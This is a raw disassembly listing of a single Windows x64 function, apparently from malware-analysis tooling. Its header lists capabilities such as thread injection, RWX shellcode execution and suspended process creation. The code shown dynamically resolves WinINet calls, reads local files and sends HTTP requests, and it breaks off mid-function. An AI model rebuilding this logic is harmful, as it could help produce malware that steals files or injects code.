Function at 0x140008cd0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Execute shellcode via indirect call
Inject thread
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x548]
sub rsp, 0x648
mov rax, qword [0x140028040]
xor rax, rsp
mov qword [rbp + 0x530], rax
mov r12, r9
mov qword [rbp + 0x120], r9
mov r15, r8
mov qword [rbp - 0x80], r8
mov qword [rbp - 0x78], rdx
mov qword [rsp + 0x50], rcx
mov qword [rbp - 0x70], rcx
mov qword [rbp + 0x10], rdx
mov qword [rbp + 0x18], r8
mov qword [rbp + 0x20], r9
mov rcx, qword [rbp + 0x5b0]
mov qword [rsp + 0x68], rcx
mov qword [rbp + 0x28], rcx
mov r14, qword [rbp + 0x5b8]
mov qword [rbp + 0x30], r14
mov rcx, qword [rbp + 0x5c0]
mov qword [rsp + 0x70], rcx
mov qword [rbp + 0x38], rcx
mov rdi, qword [rbp + 0x5c8]
mov qword [rsp + 0x60], rdi
mov qword [rbp + 0x40], rdi
mov r13, qword [rbp + 0x5d0]
mov qword [rbp + 0x48], r13
mov rsi, qword [rbp + 0x5d8]
mov qword [rbp + 0x50], rsi
mov eax, dword [0x140028a48]
mov dword [rbp - 0x68], eax
mov eax, dword [0x1400280b4]
mov dword [rbp + 0x58], eax
lea rcx, [0x140028b78]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
lea rdx, [0x140028a18]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140028890], rax
lea rdx, [0x140028a00]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140028898], rax
lea rdx, [0x1400289e8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400288a8], rax
lea rdx, [0x140028b98]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400288a0], rax
mov rax, qword [rsp + 0x70]
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140008e08
mov rcx, qword [rax]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [0x140028890]
mov rbx, rax
mov qword [rsp + 0x78], rax
test rax, rax
jne 0x140009106
xorps xmm0, xmm0
mov rax, qword [rsp + 0x50]
movups xmmword [rax], xmm0
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rcx
xor r8d, r8d
lea rdx, [0x1400238b0]
mov rcx, rax
call fcn.140003cc0
nop
mov rbx, qword [rbp - 0x78]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140008e95
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140008e90
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009433
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x140008ee2
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x140008edd
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000943a
mov rcx, r8
call fcn.14001dfb0
mov qword [r15 + 0x10], 0
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rdx, qword [r12 + 0x18]
cmp rdx, 0xf
jbe 0x140008f32
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x140008f2d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009441
mov rcx, r8
call fcn.14001dfb0
xor r15d, r15d
mov qword [r12 + 0x10], r15
mov qword [r12 + 0x18], 0xf
mov byte [r12], r15b
mov rbx, qword [rsp + 0x68]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140008f86
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140008f81
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009448
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x140008fcf
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x140008fca
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000944f
mov rcx, r8
call fcn.14001dfb0
mov qword [r14 + 0x10], r15
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov rbx, qword [rsp + 0x70]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000901e
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140009019
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009456
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140009067
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140009062
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000945d
mov rcx, r8
call fcn.14001dfb0
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [r13 + 0x18]
cmp rdx, 0xf
jbe 0x1400090b1
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x1400090ac
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009464
mov rcx, r8
call fcn.14001dfb0
mov qword [r13 + 0x10], r15
mov qword [r13 + 0x18], 0xf
mov byte [r13], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x1400090fc
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x1400090f7
add rdx, 0x27
mov rax, qword [rcx - 8]
sub rcx, rax
add rcx, 0xfffffffffffffff8
cmp rcx, 0x1f
ja 0x14000946b
mov rcx, rax
call fcn.14001dfb0
mov rax, qword [rsp + 0x50]
jmp 0x14000b40f
mov rax, qword [rsp + 0x68]
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140009118
mov rdx, qword [rax]
xor eax, eax
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rax
xor r9d, r9d
movzx r8d, word [rbp + 0x58]
mov rcx, rbx
call qword [0x140028898]
mov qword [rsp + 0x58], rax
test rax, rax
jne 0x140009472
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
mov rax, qword [rsp + 0x50]
movups xmmword [rax], xmm0
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rcx
xor r8d, r8d
lea rdx, [0x1400238b0]
mov rcx, rax
call fcn.140003cc0
nop
mov rbx, qword [rbp - 0x78]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1400091be
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400091b9
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009433
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x14000920b
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x140009206
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000943a
mov rcx, r8
call fcn.14001dfb0
mov qword [r15 + 0x10], 0
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rdx, qword [r12 + 0x18]
cmp rdx, 0xf
jbe 0x14000925b
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x140009256
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009441
mov rcx, r8
call fcn.14001dfb0
xor r15d, r15d
mov qword [r12 + 0x10], r15
mov qword [r12 + 0x18], 0xf
mov byte [r12], r15b
mov rbx, qword [rsp + 0x68]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1400092af
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400092aa
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009448
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x1400092f8
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x1400092f3
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000944f
mov rcx, r8
call fcn.14001dfb0
mov qword [r14 + 0x10], r15
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov rbx, qword [rsp + 0x70]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140009347
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140009342
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009456
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140009390
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x14000938b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000945d
mov rcx, r8
call fcn.14001dfb0
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [r13 + 0x18]
cmp rdx, 0xf
jbe 0x1400093da
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x1400093d5
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009464
mov rcx, r8
call fcn.14001dfb0
mov qword [r13 + 0x10], r15
mov qword [r13 + 0x18], 0xf
mov byte [r13], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x1400090fc
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x1400090f7
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000946b
mov rcx, r8
call fcn.14001dfb0
mov rax, qword [rsp + 0x50]
jmp 0x14000b40f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rbx, qword [rbp - 0x78]
mov rcx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140009483
mov rcx, qword [rbx]
lea rdx, [0x1400238b4]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x14000aced
lea rdx, [0x1400238b4]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
mov qword [rbp - 0x58], rax
test rax, rax
je 0x14000a4b8
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xor ebx, ebx
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rbx
mov rdi, 0xffffffffffffffff
mov r8, rdi
mov rdx, qword [rbp - 0x70]
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], bl
jne 0x1400094e0
lea rcx, [rbp - 0x50]
call fcn.140003cc0
nop
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x80]
call fcn.14001d9b0
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140009542
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000953d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000953d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001dfb0
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], rbx
mov r8, rdi
mov rdx, qword [rbp - 0x58]
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140009570
lea rcx, [rbp - 0x30]
call fcn.140003cc0
nop
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x60]
call fcn.14001d9b0
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x1400095d0
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400095cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400095cb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001dfb0
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 7
cmova rcx, qword [rbp + 0x80]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
jne 0x140009c0c
mov rbx, qword [rsp + 0x60]
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14000963e
mov rdx, qword [rbx]
mov r8, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x14000964b
mov r8, qword [r14]
mov r9, r13
cmp qword [r13 + 0x18], 0xf
jbe 0x140009659
mov r9, qword [r13]
xor ecx, ecx
mov qword [rsp + 0x38], rcx
mov eax, dword [rbp - 0x68]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x58]
call qword [0x1400288a8]
mov qword [rbp - 0x60], rax
test rax, rax
jne 0x140009a5b
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
mov rax, qword [rsp + 0x50]
movups xmmword [rax], xmm0
xor edi, edi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rdi
xor r8d, r8d
lea rdx, [0x1400238b0]
mov rcx, rax
call fcn.140003cc0
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 7
jbe 0x14000970a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009705
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009705
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001dfb0
mov qword [rbp + 0x70], rdi
mov qword [rbp + 0x78], 7
mov word [rbp + 0x60], di
mov rdx, qword [rbp + 0x98]
cmp rdx, 7
jbe 0x140009763
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000975e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000975e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001dfb0
mov qword [rbp + 0x90], rdi
mov qword [rbp + 0x98], 7
mov word [rbp + 0x80], di
mov rdi, qword [rbp - 0x78]
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x1400097ba
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1400097b5
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009a23
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], 0xf
mov byte [rdi], al
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x140009806
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x1400097ff
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009a2a
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov qword [r15 + 0x10], rax
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rdx, qword [r12 + 0x18]
cmp rdx, 0xf
jbe 0x140009852
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x14000984d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009a31
mov rcx, r8
call fcn.14001dfb0
xor r15d, r15d
mov qword [r12 + 0x10], r15
mov qword [r12 + 0x18], 0xf
mov byte [r12], r15b
mov rdi, qword [rsp + 0x68]
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x1400098a6
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1400098a1
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009a38
mov rcx, r8
call fcn.14001dfb0
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x1400098ef
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x1400098ea
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009a3f
mov rcx, r8
call fcn.14001dfb0
mov qword [r14 + 0x10], r15
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov rdi, qword [rsp + 0x70]
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x14000993e
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140009939
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009a46
mov rcx, r8
call fcn.14001dfb0
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140009987
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140009982
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009a4d
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [r13 + 0x18]
cmp rdx, 0xf
jbe 0x1400099d1
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x1400099cc
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009a54
mov rcx, r8
call fcn.14001dfb0
mov qword [r13 + 0x10], r15
mov qword [r13 + 0x18], 0xf
mov byte [r13], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x1400090fc
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x1400090f7
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
jbe 0x140009421
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, 0x2710
call fcn.14001e2bc
mov qword [rsp + 0x60], rax
xor edx, edx
mov r8d, 0x2710
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov dword [rbp + 0x126], eax
mov dword [rbp + 0x120], 0x65545243
mov word [rbp + 0x124], 0x72
mov rax, r12
cmp qword [r12 + 0x18], 0xf
jbe 0x140009aa4
mov rax, qword [r12]
mov r9, r15
cmp qword [r15 + 0x18], 0xf
jbe 0x140009ab1
mov r9, qword [r15]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x120]
lea rdx, str._s_s______s
mov rcx, qword [rsp + 0x60]
call fcn.1400010e0
mov rdx, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x140009ae0
mov rdx, qword [rsi]
mov r10, rdx
jmp 0x140009ae3
mov r10, rsi
mov rax, rdi
mov rcx, qword [rsp + 0x60]
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140009af0
nop dword [rax]
inc rdi
cmp byte [rdx + rdi], 0
jne 0x140009b00
mov r8, rdi
mov dword [rsp + 0x20], eax
mov rdi, rcx
mov r9, rcx
mov rdx, r10
mov rcx, qword [rbp - 0x60]
call qword [0x1400288a0]
test eax, eax
mov rcx, rdi
jne 0x140009bdb
call fcn.14001dfb0
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [0x1400238b0]
mov rcx, qword [rsp + 0x50]
call fcn.140003c40
nop
lea rcx, [rbp + 0x60]
call fcn.140003b60
nop
lea rcx, [rbp + 0x80]
call fcn.140003b60
nop
mov rcx, qword [rbp - 0x78]
call fcn.140003be0
nop
mov rcx, r15
call fcn.140003be0
nop
mov rcx, r12
call fcn.140003be0
nop
mov rcx, qword [rsp + 0x68]
call fcn.140003be0
nop
mov rcx, r14
call fcn.140003be0
nop
mov rcx, qword [rsp + 0x70]
call fcn.140003be0
nop
mov rcx, rbx
call fcn.140003be0
nop
mov rcx, r13
call fcn.140003be0
nop
mov rcx, rsi
call fcn.140003be0
mov rax, qword [rsp + 0x50]
jmp 0x14000b41e
call fcn.14001dfb0
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [0x140023a00]
jmp 0x140009b5a
mov dword [rbp + 0x58], 1
mov r15, rax
xor r12d, r12d
nop dword [rax]
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0x58]
mov r8d, 0x400
lea rdx, [rbp + 0x130]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rbp + 0x58]
add ebx, eax
test eax, eax
jne 0x140009c20
mov dword [rbp - 0x60], ebx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 7
cmova rcx, qword [rbp + 0x80]
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [rax + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp - 0x70], rax
cmp rax, 0xffffffffffffffff
mov r15, qword [rbp - 0x80]
mov r12, qword [rbp + 0x120]
jne 0x14000a08b
mov r9, r13
cmp qword [r13 + 0x18], 0xf
jbe 0x140009cbb
mov r9, qword [r13]
mov r8, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x140009cc8
mov r8, qword [r14]
mov rbx, qword [rsp + 0x60]
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140009cda
mov rdx, qword [rbx]
xor ecx, ecx
mov qword [rsp + 0x38], rcx
mov eax, dword [rbp - 0x68]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x58]
call qword [0x1400288a8]
mov qword [rbp - 0x60], rax
test rax, rax
jne 0x140009fda
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [0x1400238b0]
mov rcx, qword [rsp + 0x50]
call fcn.140003c40
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 7
jbe 0x140009d75
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009d70
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009d70
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001dfb0
xor eax, eax
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], 7
mov word [rbp + 0x60], ax
lea rcx, [rbp + 0x80]
call fcn.140003b60
nop
mov rcx, qword [rbp - 0x78]
call fcn.140003be0
nop
mov rcx, r15
call fcn.140003be0
nop
mov rdx, qword [r12 + 0x18]
cmp rdx, 0xf
jbe 0x140009de3
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x140009dde
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009fb0
mov rcx, r8
call fcn.14001dfb0
xor r15d, r15d
mov qword [r12 + 0x10], r15
mov qword [r12 + 0x18], 0xf
mov byte [r12], r15b
mov rdi, qword [rsp + 0x68]
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140009e37
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140009e32
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009fb7
mov rcx, r8
call fcn.14001dfb0
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x140009e80
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x140009e7b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
